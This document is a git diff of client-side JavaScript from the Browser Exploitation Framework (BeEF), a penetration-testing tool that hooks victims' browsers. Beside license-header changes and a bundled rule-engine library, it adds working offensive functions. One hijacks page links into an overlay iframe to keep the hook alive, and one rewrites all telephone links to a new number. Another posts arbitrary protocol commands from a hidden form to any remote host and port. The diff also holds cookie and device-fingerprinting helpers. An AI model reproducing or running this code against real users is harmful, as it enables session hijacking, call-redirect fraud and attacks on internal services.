if(has_googlegears) details['HasGoogleGears'] = has_googlegears
if(has_activex) details['HasActiveX'] = has_activex;
@@ -850,7 +984,7 @@ beef.browser = {
* In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
* */
hasWebSocket: function() {
- if (!!window.WebSocket || !!window.MozWebSocket) return true; else return false;
+ return !!window.WebSocket || !!window.MozWebSocket;
},
/**
diff --git a/core/main/client/browser/cookie.js b/core/main/client/browser/cookie.js
index d9b7cce98..8dcba9c97 100644
--- a/core/main/client/browser/cookie.js
+++ b/core/main/client/browser/cookie.js
@@ -1,110 +1,101 @@
-//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-/*!
- * @literal object: beef.browser.cookie
- *
- * Provides fuctions for working with cookies.
- * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
- * Original author unknown.
- *
- */
-beef.browser.cookie = {
-
- setCookie: function (name, value, expires, path, domain, secure)
- {
-
- var today = new Date();
- today.setTime( today.getTime() );
-
- if ( expires )
- {
- expires = expires * 1000 * 60 * 60 * 24;
- }
- var expires_date = new Date( today.getTime() + (expires) );
-
- document.cookie = name + "=" +escape( value ) +
- ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
- ( ( path ) ? ";path=" + path : "" ) +
- ( ( domain ) ? ";domain=" + domain : "" ) +
- ( ( secure ) ? ";secure" : "" );
- },
-
- getCookie: function(name)
- {
- var a_all_cookies = document.cookie.split( ';' );
- var a_temp_cookie = '';
- var cookie_name = '';
- var cookie_value = '';
- var b_cookie_found = false;
-
- for ( i = 0; i < a_all_cookies.length; i++ )
- {
- a_temp_cookie = a_all_cookies[i].split( '=' );
- cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
- if ( cookie_name == name )
- {
- b_cookie_found = true;
- if ( a_temp_cookie.length > 1 )
- {
- cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
- }
- return cookie_value;
- break;
- }
- a_temp_cookie = null;
- cookie_name = '';
- }
- if ( !b_cookie_found )
- {
- return null;
- }
- },
-
- deleteCookie: function (name, path, domain)
- {
- if ( this.getCookie(name) ) document.cookie = name + "=" +
- ( ( path ) ? ";path=" + path : "") +
- ( ( domain ) ? ";domain=" + domain : "" ) +
- ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
- },
-
- hasSessionCookies: function (name)
- {
- var name = name || "cookie";
- if (name == "") name = "cookie";
- this.setCookie( name, 'none', '', '/', '', '' );
-
- cookiesEnabled = (this.getCookie(name) == null)? false:true;
- this.deleteCookie(name, '/', '');
- return cookiesEnabled;
-
- },
-
- hasPersistentCookies: function (name)
- {
- var name = name || "cookie";
- if (name == "") name = "cookie";
- this.setCookie( name, 'none', 1, '/', '', '' );
-
- cookiesEnabled = (this.getCookie(name) == null)? false:true;
- this.deleteCookie(name, '/', '');
- return cookiesEnabled;
-
- }
-
-};
-
+//
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*!
+ * @literal object: beef.browser.cookie
+ *
+ * Provides fuctions for working with cookies.
+ * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
+ * Original author unknown.
+ *
+ */
+beef.browser.cookie = {
+
+ setCookie: function (name, value, expires, path, domain, secure)
+ {
+
+ var today = new Date();
+ today.setTime( today.getTime() );
+
+ if ( expires )
+ {
+ expires = expires * 1000 * 60 * 60 * 24;
+ }
+ var expires_date = new Date( today.getTime() + (expires) );
+
+ document.cookie = name + "=" +escape( value ) +
+ ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
+ ( ( path ) ? ";path=" + path : "" ) +
+ ( ( domain ) ? ";domain=" + domain : "" ) +
+ ( ( secure ) ? ";secure" : "" );
+ },
+
+ getCookie: function(name)
+ {
+ var a_all_cookies = document.cookie.split( ';' );
+ var a_temp_cookie = '';
+ var cookie_name = '';
+ var cookie_value = '';
+ var b_cookie_found = false;
+
+ for ( i = 0; i < a_all_cookies.length; i++ )
+ {
+ a_temp_cookie = a_all_cookies[i].split( '=' );
+ cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
+ if ( cookie_name == name )
+ {
+ b_cookie_found = true;
+ if ( a_temp_cookie.length > 1 )
+ {
+ cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
+ }
+ return cookie_value;
+ break;
+ }
+ a_temp_cookie = null;
+ cookie_name = '';
+ }
+ if ( !b_cookie_found )
+ {
+ return null;
+ }
+ },
+
+ deleteCookie: function (name, path, domain)
+ {
+ if ( this.getCookie(name) ) document.cookie = name + "=" +
+ ( ( path ) ? ";path=" + path : "") +
+ ( ( domain ) ? ";domain=" + domain : "" ) +
+ ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
+ },
+
+ hasSessionCookies: function (name)
+ {
+ var name = name || "cookie";
+ if (name == "") name = "cookie";
+ this.setCookie( name, 'none', '', '/', '', '' );
+
+ cookiesEnabled = (this.getCookie(name) == null)? false:true;
+ this.deleteCookie(name, '/', '');
+ return cookiesEnabled;
+
+ },
+
+ hasPersistentCookies: function (name)
+ {
+ var name = name || "cookie";
+ if (name == "") name = "cookie";
+ this.setCookie( name, 'none', 1, '/', '', '' );
+
+ cookiesEnabled = (this.getCookie(name) == null)? false:true;
+ this.deleteCookie(name, '/', '');
+ return cookiesEnabled;
+
+ }
+
+};
+
beef.regCmp('beef.browser.cookie');
\ No newline at end of file
diff --git a/core/main/client/browser/popup.js b/core/main/client/browser/popup.js
index bdea5eb35..0efd4aa8a 100644
--- a/core/main/client/browser/popup.js
+++ b/core/main/client/browser/popup.js
@@ -1,39 +1,30 @@
-//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-/*!
- * @literal object: beef.browser.popup
- *
- * Provides fuctions for working with cookies.
- * Several functions adopted from http://davidwalsh.name/popup-block-javascript
- * Original author unknown.
- *
- */
-beef.browser.popup = {
-
- blocker_enbabled: function ()
- {
- screenParams = beef.browser.getScreenSize();
- var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
- if (popUp == null || typeof(popUp)=='undefined') {
- return true;
- } else {
- popUp.close();
- return false;
- }
- }
-};
-
+//
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*!
+ * @literal object: beef.browser.popup
+ *
+ * Provides fuctions for working with cookies.
+ * Several functions adopted from http://davidwalsh.name/popup-block-javascript
+ * Original author unknown.
+ *
+ */
+beef.browser.popup = {
+
+ blocker_enabled: function ()
+ {
+ screenParams = beef.browser.getScreenSize();
+ var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
+ if (popUp == null || typeof(popUp)=='undefined') {
+ return true;
+ } else {
+ popUp.close();
+ return false;
+ }
+ }
+};
+
beef.regCmp('beef.browser.popup');
diff --git a/core/main/client/dom.js b/core/main/client/dom.js
index 387b514bf..bcebc904d 100644
--- a/core/main/client/dom.js
+++ b/core/main/client/dom.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* @literal object: beef.dom
*
@@ -117,6 +108,25 @@ beef.dom = {
}
return iframe;
},
+
+ /**
+ * Load the link (href value) in an overlay foreground iFrame.
+ * The BeEF hook continues to run in background.
+ * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
+ * Framebusting techniques, this will not work.
+ */
+ persistentIframe: function(){
+ $j('a').click(function(e) {
+ if ($j(this).attr('href') != '')
+ {
+ e.preventDefault();
+ beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
+ $j(document).attr('title', $j(this).html());
+ document.body.scroll = "no";
+ document.documentElement.style.overflow = 'hidden';
+ }
+ });
+ },
/**
* Create a form element with the specified parameters, appending it to the DOM if append == true
@@ -194,6 +204,31 @@ beef.dom = {
return count;
},
+ /**
+ * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
+ * @param: {String} new_number: the new link telephone number to be written
+ * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
+ * @return: {Number} the amount of links found in the DOM and rewritten.
+ */
+ rewriteTelLinks: function(new_number, selector) {
+
+ var count = 0;
+ var re = new RegExp("tel:/?/?.*", "gi");
+ var sel = (selector == null) ? 'a' : selector;
+
+ $j(sel).each(function() {
+ if ($j(this).attr('href') != null) {
+ var url = $j(this).attr('href');
+ if (url.match(re)) {
+ $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
+ count++;
+ }
+ }
+ });
+
+ return count;
+ },
+
/**
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
* @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
@@ -315,6 +350,30 @@ beef.dom = {
formXsrf.submit();
return iframeXsrf;
+ },
+
+ /**
+ * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
+ * @params: {String} rhost: remote host ip/domain
+ * @params: {String} rport: remote port
+ * @params: {String} commands: protocol commands to be executed by the remote host:port service
+ */
+ createIframeIpecForm: function(rhost, rport, commands){
+ var iframeIpec = beef.dom.createInvisibleIframe();
+
+ var formIpec = document.createElement('form');
+ formIpec.setAttribute('action', 'http://'+rhost+':'+rport+'/index.html');
+ formIpec.setAttribute('method', 'POST');
+ formIpec.setAttribute('enctype', 'multipart/form-data');
+
+ input = document.createElement('textarea');
+ input.setAttribute('name', Math.random().toString(36).substring(5));
+ input.value = commands;
+ formIpec.appendChild(input);
+ iframeIpec.contentWindow.document.body.appendChild(formIpec);
+ formIpec.submit();
+
+ return iframeIpec;
}
};
diff --git a/core/main/client/encode/base64.js b/core/main/client/encode/base64.js
index 94246d82b..80df54fcf 100644
--- a/core/main/client/encode/base64.js
+++ b/core/main/client/encode/base64.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
beef.encode = {};
diff --git a/core/main/client/encode/json.js b/core/main/client/encode/json.js
index 9a7a40c43..94fa8ba7a 100644
--- a/core/main/client/encode/json.js
+++ b/core/main/client/encode/json.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
beef.encode.json = {
diff --git a/core/main/client/geolocation.js b/core/main/client/geolocation.js
index 0da30c433..66cc639d6 100644
--- a/core/main/client/geolocation.js
+++ b/core/main/client/geolocation.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* @literal object: beef.geolocation
*
diff --git a/core/main/client/hardware.js b/core/main/client/hardware.js
new file mode 100644
index 000000000..b56e30ab7
--- /dev/null
+++ b/core/main/client/hardware.js
@@ -0,0 +1,82 @@
+//
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.hardware = {
+
+ ua: navigator.userAgent,
+
+ isWinPhone: function() {
+ return (this.ua.match('(Windows Phone)')) ? true : false;
+ },
+
+ isIphone: function() {
+ return (this.ua.indexOf('iPhone') != -1) ? true : false;
+ },
+
+ isIpad: function() {
+ return (this.ua.indexOf('iPad') != -1) ? true : false;
+ },
+
+ isIpod: function() {
+ return (this.ua.indexOf('iPod') != -1) ? true : false;
+ },
+
+ isNokia: function() {
+ return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
+ },
+
+ isBlackBerry: function() {
+ return (this.ua.match('BlackBerry')) ? true : false;
+ },
+
+ isZune: function() {
+ return (this.ua.match('ZuneWP7')) ? true : false;
+ },
+
+ isKindle: function() {
+ return (this.ua.match('Kindle')) ? true : false;
+ },
+
+ isHtc: function() {
+ return (this.ua.match('HTC')) ? true : false;
+ },
+
+ isEricsson: function() {
+ return (this.ua.match('Ericsson')) ? true : false;
+ },
+
+ isNokia: function() {
+ return (this.ua.match('Nokia')) ? true : false;
+ },
+
+ isMotorola: function() {
+ return (this.ua.match('Motorola')) ? true : false;
+ },
+
+ isGoogle: function() {
+ return (this.ua.match('Nexus One')) ? true : false;
+ },
+
+ getName: function() {
+
+ if (this.isNokia()) return 'Nokia';
+ if (this.isWinPhone()) return 'Windows Phone';
+ if (this.isBlackBerry()) return 'BlackBerry';
+ if (this.isIphone()) return 'iPhone';
+ if (this.isIpad()) return 'iPad';
+ if (this.isIpod()) return 'iPod';
+ if (this.isKindle()) return 'Kindle';
+ if (this.isHtc()) return 'HTC';
+ if (this.isMotorola()) return 'Motorola';
+ if (this.isZune()) return 'Zune';
+ if (this.isGoogle()) return 'Google';
+ if (this.isEricsson()) return 'Ericsson';
+
+ return 'Unknown';
+ }
+};
+
+beef.regCmp('beef.net.hardware');
diff --git a/core/main/client/init.js b/core/main/client/init.js
index dfd0f9dcc..2e87606a9 100644
--- a/core/main/client/init.js
+++ b/core/main/client/init.js
@@ -1,23 +1,18 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
-// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
-// and will have a new session id. The new session id will need to know
-// the brwoser details. So sendback the browser details again.
-
+/**
+ * @literal object: beef.init
+ * Contains the beef_init() method which starts the BeEF client-side
+ * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
+ *
+ * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
+ * and will have a new session id. The new session id will need to know
+ * the brwoser details. So sendback the browser details again.
+ */
BEEFHOOK = beef.session.get_hook_session_id();
if (beef.pageIsLoaded) {
@@ -58,6 +53,13 @@ window.onclose = function (event) {
}
};
+/**
+ * Starts the polling mechanism, and initialize various components:
+ * - browser details (see browser.js) are sent back to the "/init" handler
+ * - the polling starts (checks for new commands, and execute them)
+ * - the logger component is initialized (see logger.js)
+ * - the Autorun Engine is initialized (see are.js)
+ */
function beef_init() {
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
@@ -66,14 +68,13 @@ function beef_init() {
beef.net.browser_details();
beef.updater.execute_commands();
beef.logger.start();
-
- }
- else {
+ beef.are.init();
+ }else {
beef.net.browser_details();
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
+ beef.are.init();
}
-
}
}
diff --git a/core/main/client/lib/browser_jools.js b/core/main/client/lib/browser_jools.js
new file mode 100644
index 000000000..9668bb23d
--- /dev/null
+++ b/core/main/client/lib/browser_jools.js
@@ -0,0 +1,1526 @@
+var require = function (file, cwd) {
+ var resolved = require.resolve(file, cwd || '/');
+ var mod = require.modules[resolved];
+ if (!mod) throw new Error(
+ 'Failed to resolve module ' + file + ', tried ' + resolved
+ );
+ var res = mod._cached ? mod._cached : mod();
+ return res;
+}
+
+require.paths = [];
+require.modules = {};
+require.extensions = [".js",".coffee"];
+
+require._core = {
+ 'assert': true,
+ 'events': true,
+ 'fs': true,
+ 'path': true,
+ 'vm': true
+};
+
+require.resolve = (function () {
+ return function (x, cwd) {
+ if (!cwd) cwd = '/';
+
+ if (require._core[x]) return x;
+ var path = require.modules.path();
+ cwd = path.resolve('/', cwd);
+ var y = cwd || '/';
+
+ if (x.match(/^(?:\.\.?\/|\/)/)) {
+ var m = loadAsFileSync(path.resolve(y, x))
+ || loadAsDirectorySync(path.resolve(y, x));
+ if (m) return m;
+ }
+
+ var n = loadNodeModulesSync(x, y);
+ if (n) return n;
+
+ throw new Error("Cannot find module '" + x + "'");
+
+ function loadAsFileSync (x) {
+ if (require.modules[x]) {
+ return x;
+ }
+
+ for (var i = 0; i < require.extensions.length; i++) {
+ var ext = require.extensions[i];
+ if (require.modules[x + ext]) return x + ext;
+ }
+ }
+
+ function loadAsDirectorySync (x) {
+ x = x.replace(/\/+$/, '');
+ var pkgfile = x + '/package.json';
+ if (require.modules[pkgfile]) {
+ var pkg = require.modules[pkgfile]();
+ var b = pkg.browserify;
+ if (typeof b === 'object' && b.main) {
+ var m = loadAsFileSync(path.resolve(x, b.main));
+ if (m) return m;
+ }
+ else if (typeof b === 'string') {
+ var m = loadAsFileSync(path.resolve(x, b));
+ if (m) return m;
+ }
+ else if (pkg.main) {
+ var m = loadAsFileSync(path.resolve(x, pkg.main));
+ if (m) return m;
+ }
+ }
+
+ return loadAsFileSync(x + '/index');
+ }
+
+ function loadNodeModulesSync (x, start) {
+ var dirs = nodeModulesPathsSync(start);
+ for (var i = 0; i < dirs.length; i++) {
+ var dir = dirs[i];
+ var m = loadAsFileSync(dir + '/' + x);
+ if (m) return m;
+ var n = loadAsDirectorySync(dir + '/' + x);
+ if (n) return n;
+ }
+
+ var m = loadAsFileSync(x);
+ if (m) return m;
+ }
+
+ function nodeModulesPathsSync (start) {
+ var parts;
+ if (start === '/') parts = [ '' ];
+ else parts = path.normalize(start).split('/');
+
+ var dirs = [];
+ for (var i = parts.length - 1; i >= 0; i--) {
+ if (parts[i] === 'node_modules') continue;
+ var dir = parts.slice(0, i + 1).join('/') + '/node_modules';
+ dirs.push(dir);
+ }
+
+ return dirs;
+ }
+ };
+})();
+
+require.alias = function (from, to) {
+ var path = require.modules.path();
+ var res = null;
+ try {
+ res = require.resolve(from + '/package.json', '/');
+ }
+ catch (err) {
+ res = require.resolve(from, '/');
+ }
+ var basedir = path.dirname(res);
+
+ var keys = (Object.keys || function (obj) {
+ var res = [];
+ for (var key in obj) res.push(key)
+ return res;
+ })(require.modules);
+
+ for (var i = 0; i < keys.length; i++) {
+ var key = keys[i];
+ if (key.slice(0, basedir.length + 1) === basedir + '/') {
+ var f = key.slice(basedir.length);
+ require.modules[to + f] = require.modules[basedir + f];
+ }
+ else if (key === basedir) {
+ require.modules[to] = require.modules[basedir];
+ }
+ }
+};
+
+require.define = function (filename, fn) {
+ var dirname = require._core[filename]
+ ? ''
+ : require.modules.path().dirname(filename)
+ ;
+
+ var require_ = function (file) {
+ return require(file, dirname)
+ };
+ require_.resolve = function (name) {
+ return require.resolve(name, dirname);
+ };
+ require_.modules = require.modules;
+ require_.define = require.define;
+ var module_ = { exports : {} };
+
+ require.modules[filename] = function () {
+ require.modules[filename]._cached = module_.exports;
+ fn.call(
+ module_.exports,
+ require_,
+ module_,
+ module_.exports,
+ dirname,
+ filename
+ );
+ require.modules[filename]._cached = module_.exports;
+ return module_.exports;
+ };
+};
+
+if (typeof process === 'undefined') process = {};
+
+if (!process.nextTick) process.nextTick = (function () {
+ var queue = [];
+ var canPost = typeof window !== 'undefined'
+ && window.postMessage && window.addEventListener
+ ;
+
+ if (canPost) {
+ window.addEventListener('message', function (ev) {
+ if (ev.source === window && ev.data === 'browserify-tick') {
+ ev.stopPropagation();
+ if (queue.length > 0) {
+ var fn = queue.shift();
+ fn();
+ }
+ }
+ }, true);
+ }
+
+ return function (fn) {
+ if (canPost) {
+ queue.push(fn);
+ window.postMessage('browserify-tick', '*');
+ }
+ else setTimeout(fn, 0);
+ };
+})();
+
+if (!process.title) process.title = 'browser';
+
+if (!process.binding) process.binding = function (name) {
+ if (name === 'evals') return require('vm')
+ else throw new Error('No such module')
+};
+
+if (!process.cwd) process.cwd = function () { return '.' };
+
+if (!process.env) process.env = {};
+if (!process.argv) process.argv = [];
+
+require.define("path", function (require, module, exports, __dirname, __filename) {
+function filter (xs, fn) {
+ var res = [];
+ for (var i = 0; i < xs.length; i++) {
+ if (fn(xs[i], i, xs)) res.push(xs[i]);
+ }
+ return res;
+}
+
+// resolves . and .. elements in a path array with directory names there
+// must be no slashes, empty elements, or device names (c:\) in the array
+// (so also no leading and trailing slashes - it does not distinguish
+// relative and absolute paths)
+function normalizeArray(parts, allowAboveRoot) {
+ // if the path tries to go above the root, `up` ends up > 0
+ var up = 0;
+ for (var i = parts.length; i >= 0; i--) {
+ var last = parts[i];
+ if (last == '.') {
+ parts.splice(i, 1);
+ } else if (last === '..') {
+ parts.splice(i, 1);
+ up++;
+ } else if (up) {
+ parts.splice(i, 1);
+ up--;
+ }
+ }
+
+ // if the path is allowed to go above the root, restore leading ..s
+ if (allowAboveRoot) {
+ for (; up--; up) {
+ parts.unshift('..');
+ }
+ }
+
+ return parts;
+}
+
+// Regex to split a filename into [*, dir, basename, ext]
+// posix version
+var splitPathRe = /^(.+\/(?!$)|\/)?((?:.+?)?(\.[^.]*)?)$/;
+
+// path.resolve([from ...], to)
+// posix version
+exports.resolve = function() {
+var resolvedPath = '',
+ resolvedAbsolute = false;
+
+for (var i = arguments.length; i >= -1 && !resolvedAbsolute; i--) {
+ var path = (i >= 0)
+ ? arguments[i]
+ : process.cwd();
+
+ // Skip empty and invalid entries
+ if (typeof path !== 'string' || !path) {
+ continue;
+ }
+
+ resolvedPath = path + '/' + resolvedPath;
+ resolvedAbsolute = path.charAt(0) === '/';
+}
+
+// At this point the path should be resolved to a full absolute path, but
+// handle relative paths to be safe (might happen when process.cwd() fails)
+
+// Normalize the path
+resolvedPath = normalizeArray(filter(resolvedPath.split('/'), function(p) {
+ return !!p;
+ }), !resolvedAbsolute).join('/');
+
+ return ((resolvedAbsolute ? '/' : '') + resolvedPath) || '.';
+};
+
+// path.normalize(path)
+// posix version
+exports.normalize = function(path) {
+var isAbsolute = path.charAt(0) === '/',
+ trailingSlash = path.slice(-1) === '/';
+
+// Normalize the path
+path = normalizeArray(filter(path.split('/'), function(p) {
+ return !!p;
+ }), !isAbsolute).join('/');
+
+ if (!path && !isAbsolute) {
+ path = '.';
+ }
+ if (path && trailingSlash) {
+ path += '/';
+ }
+
+ return (isAbsolute ? '/' : '') + path;
+};
+
+
+// posix version
+exports.join = function() {
+ var paths = Array.prototype.slice.call(arguments, 0);
+ return exports.normalize(filter(paths, function(p, index) {
+ return p && typeof p === 'string';
+ }).join('/'));
+};
+
+
+exports.dirname = function(path) {
+ var dir = splitPathRe.exec(path)[1] || '';
+ var isWindows = false;
+ if (!dir) {
+ // No dirname
+ return '.';
+ } else if (dir.length === 1 ||
+ (isWindows && dir.length <= 3 && dir.charAt(1) === ':')) {
+ // It is just a slash or a drive letter with a slash
+ return dir;
+ } else {
+ // It is a full dirname, strip trailing slash
+ return dir.substring(0, dir.length - 1);
+ }
+};
+
+
+exports.basename = function(path, ext) {
+ var f = splitPathRe.exec(path)[2] || '';
+ // TODO: make this comparison case-insensitive on windows?
+ if (ext && f.substr(-1 * ext.length) === ext) {
+ f = f.substr(0, f.length - ext.length);
+ }
+ return f;
+};
+
+
+exports.extname = function(path) {
+ return splitPathRe.exec(path)[3] || '';
+};
+
+});
+
+require.define("/node_modules/jools/package.json", function (require, module, exports, __dirname, __filename) {
+module.exports = {"main":"./lib/jools"}
+});
+
+require.define("/node_modules/jools/lib/jools.js", function (require, module, exports, __dirname, __filename) {
+/**
+ * Module dependencies.
+ */
+var utils = require('./utils')
+ , _ = require('underscore');
+
+/**
+ * version
+ */
+exports.version = '0.0.1';
+
+/**
+ * Jools constructor.
+ *
+ * A rule consists of:
+ * - Descriptive name
+ * - One or more conditions
+ * - One or more consequences, which are fired when all conditions evaluate to true.
+ *
+ * @param {Object} rules
+ */
+function Jools(rules) {
+ this.rules = rules;
+}
+
+/**
+ * execute rules with fact
+ *
+ * @param {Object} fact
+ */
+Jools.prototype.execute = function (fact) {
+ var self = this
+ , session = _.clone(fact)
+ , last_session = _.clone(fact)
+ , goal = false;
+
+ while (!goal) {
+ var changes = false;
+ for (var x=0; x < this.rules.length; x++) {
+ var rule = this.rules[x]
+ , outcome;
+
+ _.flatten([rule.condition]).forEach(function (cnd) {
+ cnd.__args = cnd.__args || utils.paramNames(cnd);
+
+ if (outcome) {
+ outcome = outcome && cnd.apply({}, utils.paramsToArguments(session, cnd.__args));
+ } else {
+ outcome = cnd.apply({}, utils.paramsToArguments(session, cnd.__args));
+ }
+ });
+ if (outcome) {
+ _.flatten([rule.consequence]).forEach(function (csq) {
+ csq.__args = csq.__args || utils.paramNames(csq);
+ csq.apply(session, utils.paramsToArguments(fact, csq.__args));
+ if (!_.isEqual(last_session,session)) {
+ // Fire all rules again!
+ changes = true;
+ last_session = _.clone(session);
+ }
+ });
+ }
+ if(changes) break;
+ }
+ if (!changes) goal = true;
+ }
+ return session;
+};
+
+module.exports = Jools;
+
+
+});
+
+require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) {
+/**
+ * Returns an array of parameter names of the function f
+ *
+ * @param {Function} f
+ */
+module.exports.paramNames = function (f) {
+ var m = /function[^\(]*\(([^\)]*)\)/.exec(f.toString());
+ if (!m) throw new TypeError("Invalid functions");
+
+ var params = [];
+ m[1].split(',').forEach(function (p) {
+ params.push(p.replace(/^\s*|\s*$/g, ''));
+ });
+
+ return params;
+};
+
+/**
+ * Creates an array of arguments
+ *
+ * @param {Object} obj
+ * @param {Array} params
+ */
+module.exports.paramsToArguments = function (obj, params) {
+ var args = [];
+ params.forEach(function (p) {
+ args.push(obj[p]);
+ });
+ return args;
+}
+
+
+});
+
+require.define("/node_modules/underscore/package.json", function (require, module, exports, __dirname, __filename) {
+module.exports = {"main":"underscore.js"}
+});
+
+require.define("/node_modules/underscore/underscore.js", function (require, module, exports, __dirname, __filename) {
+// Underscore.js 1.3.3
+// (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc.
+// Underscore is freely distributable under the MIT license.
+// Portions of Underscore are inspired or borrowed from Prototype,
+// Oliver Steele's Functional, and John Resig's Micro-Templating.
+// For all details and documentation:
+// http://documentcloud.github.com/underscore
+
+(function() {
+
+ // Baseline setup
+ // --------------
+
+ // Establish the root object, `window` in the browser, or `global` on the server.
+ var root = this;
+
+ // Save the previous value of the `_` variable.
+ var previousUnderscore = root._;
+
+ // Establish the object that gets returned to break out of a loop iteration.
